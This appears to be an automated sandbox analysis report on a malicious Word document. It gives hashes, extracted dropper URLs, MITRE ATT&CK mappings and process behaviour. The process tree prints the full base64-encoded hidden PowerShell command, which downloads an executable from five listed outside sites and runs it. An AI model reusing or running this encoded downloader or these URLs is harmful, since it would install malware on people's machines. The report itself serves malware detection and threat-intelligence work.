33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d

General

Target

33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d.doc
Size

184KB
MD5

b7b7816ab8e441be97cc8d0d012488cd
SHA1

edafaaa99a8d966b677f3bd5c547ab9121674f31
SHA256

33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d
SHA512

1816135352322f8e646afcc15f4c7259aa10747d3ee5baca3bb68b1330a664f4db6d8e32c13ea34f769b856a61ef35580dca6d984efe0f16087a089c006779e9
SSDEEP

3072:Wx2y/GdynktGDWLS0HZWD5w8K7Nk9uD7IBUnUasgt+PpkkrbfzHQfzZExXMHIwtn:Wx2k43tGiL3HJk9uD7bnUasFPpkkrbfs

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amstaffrecords.com/individualApi/0/

exe.dropper

http://foozoop.com/wp-content/Qxi7iVD/

exe.dropper

http://7arasport.com/validatefield/gj/

exe.dropper

http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/

exe.dropper

https://diagnostica-products.com/wp-admin/hio2u7w/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3104	732	Powershell.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	3104	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3104	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1740	WINWORD.EXE
1740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3104	Powershell.exe
3104	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3104	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1740	WINWORD.EXE
1740	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE
1740	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 564	1740	WINWORD.EXE	85
PID 1740 wrote to memory of 564	1740	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:564

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B0BF5C51.wmf

Filesize
444B

MD5
5e3ebde42f7ce1241ef091e352c2a5e5

SHA1
9bd086d531e5923bddeb51802071ad4b7f47b579

SHA256
ed477d175e5a0b8ed5cc453f868edc7e620cf2e1171b1071a767571e92d737da

SHA512
1317ff6620abc1cea97643bab318608786c376013212440af7a36df625bbedc86cefe72a49f15ff935c9e0efedf12f4d0f56bb794ac1d4508fb82ba8b6db4703

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDFD64.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5uo0vdx3.mwz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
e5ae2911e6f1b36802b9b3804ff8cfd1

SHA1
e7b659db6f7ad6d94ce3c50991a1b3cc98a047c2

SHA256
33d62818b96eea010128794cbf81d4bbb61e65dd2d31cc19f205c80057194f2a

SHA512
cd9cb0d68614a791586b9c681a11a3a92dc7045f3d3575b75951e713f0c8089136edaf9175e5a494a06d318819e110f15e9b6d1186d8aa77d508a930270d710a

Download Submit
memory/1740-14-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-12-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-5-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-10-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-11-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-13-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-16-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-17-0x00007FFFBCF40000-0x00007FFFBCF50000-memory.dmp

Filesize
64KB

Download
memory/1740-15-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-18-0x00007FFFBCF40000-0x00007FFFBCF50000-memory.dmp

Filesize
64KB

Download
memory/1740-0-0x00007FFFBF410000-0x00007FFFBF420000-memory.dmp

Filesize
64KB

Download
memory/1740-6-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-9-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-8-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-7-0x00007FFFBF410000-0x00007FFFBF420000-memory.dmp

Filesize
64KB

Download
memory/1740-2-0x00007FFFBF410000-0x00007FFFBF420000-memory.dmp

Filesize
64KB

Download
memory/1740-4-0x00007FFFBF410000-0x00007FFFBF420000-memory.dmp

Filesize
64KB

Download
memory/1740-1-0x00007FFFFF42D000-0x00007FFFFF42E000-memory.dmp

Filesize
4KB

Download
memory/1740-70-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-71-0x00007FFFFF42D000-0x00007FFFFF42E000-memory.dmp

Filesize
4KB

Download
memory/1740-72-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-73-0x00007FFFFF390000-0x00007FFFFF585000-memory.dmp

Filesize
2.0MB

Download
memory/1740-3-0x00007FFFBF410000-0x00007FFFBF420000-memory.dmp

Filesize
64KB

Download
memory/3104-63-0x000001795A850000-0x000001795A872000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads